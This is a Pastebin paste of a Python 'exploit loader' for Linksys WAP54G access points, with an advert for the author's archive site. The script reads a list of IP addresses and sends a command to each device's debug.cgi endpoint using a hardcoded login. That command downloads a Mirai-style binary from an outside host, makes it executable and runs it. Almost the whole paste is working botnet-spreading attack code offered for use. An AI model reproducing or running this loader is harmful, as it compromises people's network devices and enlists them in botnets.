xB4ckdoorREAL

WAP54 EXPLOIT LOADER [OLD] [RCE] [MIRAI]

May 10th, 2020
650
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.12 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # WAP54G EXPLOIT LOADER MADE BY B4ckdoor #
  4. # B4CKDOORARCHIVE.CLUB [NEWDOMAIN] | JOIN DISCORD BY WEBSITE INVITE LINK #
  5.  
  6. from multiprocessing import Process,Pool
  7. import threading
  8. import sys
  9. import re
  10. PROCESS_COUNT = 100
  11. THREAD_COUNT = 1
  12.  
  13. def httpRequest(URL,HEADER,BODY,TIMEOUT):
  14.     if not BODY:
  15.         try:
  16.             res = requests.get(URL, headers=HEADER, verify=False, timeout=TIMEOUT)
  17.         except Exception as e:
  18.         #print 'timeout'
  19.             return 0,'TIMEOUT'
  20.         else:
  21.             if res.status_code :
  22.                 return res.status_code,res.content
  23.             else:
  24.                 return 0,'PAGE NOT FOUND'
  25.     else:
  26.         try:
  27.             res = requests.post(URL, data=BODY, headers=HEADER, verify=False, timeout=TIMEOUT)
  28.         except Exception as e:
  29.         #print 'timeout'
  30.             return 0,'TIMEOUT'
  31.         else:
  32.             if res.status_code :
  33.                 return res.status_code,res.content
  34.             else:
  35.                 return 0,'PAGE NOT FOUND'
  36.  
  37. def executeCommand(ip):
  38.     Command = '/usr/bin/wget -O /tmp/dvrHelper http://88b.me/dlk/upg/Ares.mpsl && chmod +x /tmp/dvrHelper && cd /tmp && ./dvrHelper WAP54G'
  39.     headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0","Authorization": "Basic R2VtdGVrOmdlbXRla3N3ZA=="}
  40.     params={"data1": Command,"command": "ui_debug"}
  41.     a,b = httpRequest(ip+"/debug.cgi",headers,params,30)
  42.     result = re.findall(r"<textarea rows=30 cols=100>((\S|\s)*)?</textarea>",b)
  43.     if str(result)!='None' and result!=[]:
  44.         return result[0][0]
  45.     return result
  46.  
  47. def wf(filename,data):
  48.     f = open(filename,"ab")
  49.     f.write(data+'\r\n')
  50.     f.close
  51.  
  52. def rf(filename):
  53.     fp=open(filename,"rb")
  54.     data=fp.read()
  55.     fp.close()
  56.     return data
  57.  
  58.  
  59. def one_process(Host):
  60.     t_obj = []
  61.     for i in range(THREAD_COUNT):
  62.         t = threading.Thread(target=executeCommand, args=(Host,))
  63.         t_obj.append(t)
  64.         t.start()
  65.     for tmp in t_obj:
  66.         tmp.join()
  67.  
  68. if __name__ == "__main__":
  69.     pool = Pool(PROCESS_COUNT)
  70.     ip_list = rf('16WAP54G.txt').split('\n')
  71.     for i in range(len(ip_list)):
  72.         executeCommand(ip_list[i])
  73.    
  74.    
  75.     # for i in range(len(ip_list)):
  76.         # pool.apply_async(func=one_process, args=(ip_list[i],))
  77.     # pool.close()
  78.     # pool.join()
  79.     # print 'end'
Add Comment
Please, Sign In to add comment